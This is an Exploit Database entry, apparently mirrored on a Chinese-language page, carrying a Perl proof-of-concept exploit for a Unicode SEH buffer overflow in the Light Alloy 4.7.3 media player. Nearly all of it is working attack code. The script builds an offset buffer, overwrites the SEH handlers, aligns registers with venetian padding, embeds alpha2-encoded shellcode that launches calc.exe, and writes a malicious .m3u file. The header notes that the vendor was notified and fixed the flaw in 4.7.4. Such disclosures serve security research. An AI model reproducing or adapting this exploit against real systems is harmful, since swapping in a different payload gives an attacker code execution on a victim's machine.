Light Alloy 4.7.3 – ‘.m3u’ Local Buffer Overflow (SEH Unicode)

• Exploit Database
• 83 阅读

• 作者： Mike Czumak
  日期： 2013-11-22
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/29777/

• #!/usr/bin/perl
  
  ############################################################################################
  # Exploit Title: Light Alloy 4.7.3 (.m3u) - SEH Buffer Overflow (Unicode)
  # Date: 11-18-2013
  # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
  # Vulnerable Software: Light Alloy v4.7.3 
  # Vendor Site: http://www.light-alloy.ru/
  # Vulnerable Software Link: http://www.softpedia.com/dyn-postdownload.php?p=182552&t=4&i=1
  # Version: 4.7.3
  # Tested On: Windows XP SP3
  # Timeline:
  # -- 18 Nov 2013: Vulnerability discovered, contacted vendor
  # -- 19 Nov 2013: Additional details provided, developer fix, pre-released tested/confirmed
  # -- 20 Nov 2013: Version 4.7.4 released with vuln fix
  ############################################################################################
  
  my $buffsize = 5000; # sets buffer size for consistent sized payload
  my $junk = "http://" . "\x41" x 4090; # offset to seh
  my $nseh = "\x61\x62"; # overwrite next seh with popad (populates all registers) + nop
  my $seh = "\x33\x43"; # overwrite seh with unicode friendly pop pop ret
  		# 0x00430033 : pop esi # pop ebx # ret(C:\Program Files\Light Alloy\LA.exe)
  		
  # unicode venetian alignment
  my $venalign = "\x53"; # push ebx; ebx is the register closest to our shellcode following the popad 
  $venalign = $venalign . "\x71"; # venetian pad/align
  $venalign = $venalign . "\x58"; # pop eax; put ebx into eax and modify to jump to our shellcode (100 bytes)
  $venalign = $venalign . "\x6e"; # venetian pad/align
  $venalign = $venalign . "\x05\x14\x11"; # add eax,0x11001400
  $venalign = $venalign . "\x6e"; # venetian pad/align 
  $venalign = $venalign . "\x2d\x13\x11"; # sub eax,0x11001300
  $venalign = $venalign . "\x6e"; # venetian pad/align
  $venalign = $venalign . "\x50"; # push eax
  $venalign = $venalign . "\x6d"; # venetian pad/align
  $venalign = $venalign . "\xc3"; # ret
  
  my $nops = "\x71" x 109; # some unicode friendly filler before the shellcode
  
  # Calc.exe payload
  # msfpayload windows/exec CMD=calc.exe R
  # alpha2 unicode/uppercase
  my $shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZA".
  "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA".
  "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB".
  "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K".
  "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL".
  "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55".
  "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V".
  "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB".
  "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT".
  "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU".
  "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM".
  "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC".
  "QQ2LRCM0LJA";
   
  my $sploit = $junk.$nseh.$seh.$venalign.$nops.$shell; # assemble the exploit portion of the buffer
  my $fill = "\x71" x ($buffsize - length($sploit)); # fill remainder of buffer with junk
  my $buffer = $sploit.$fill; # assemble the final buffer
  
  # write the exploit buffer to file
  my $file = "lightalloy_unicodeseh.m3u";
  open(FILE, ">$file");
  print FILE $buffer;
  close(FILE);
  print "Exploit file [" . $file . "] created\n";
  print "Buffer size: " . length($buffer) . "\n"; 
  

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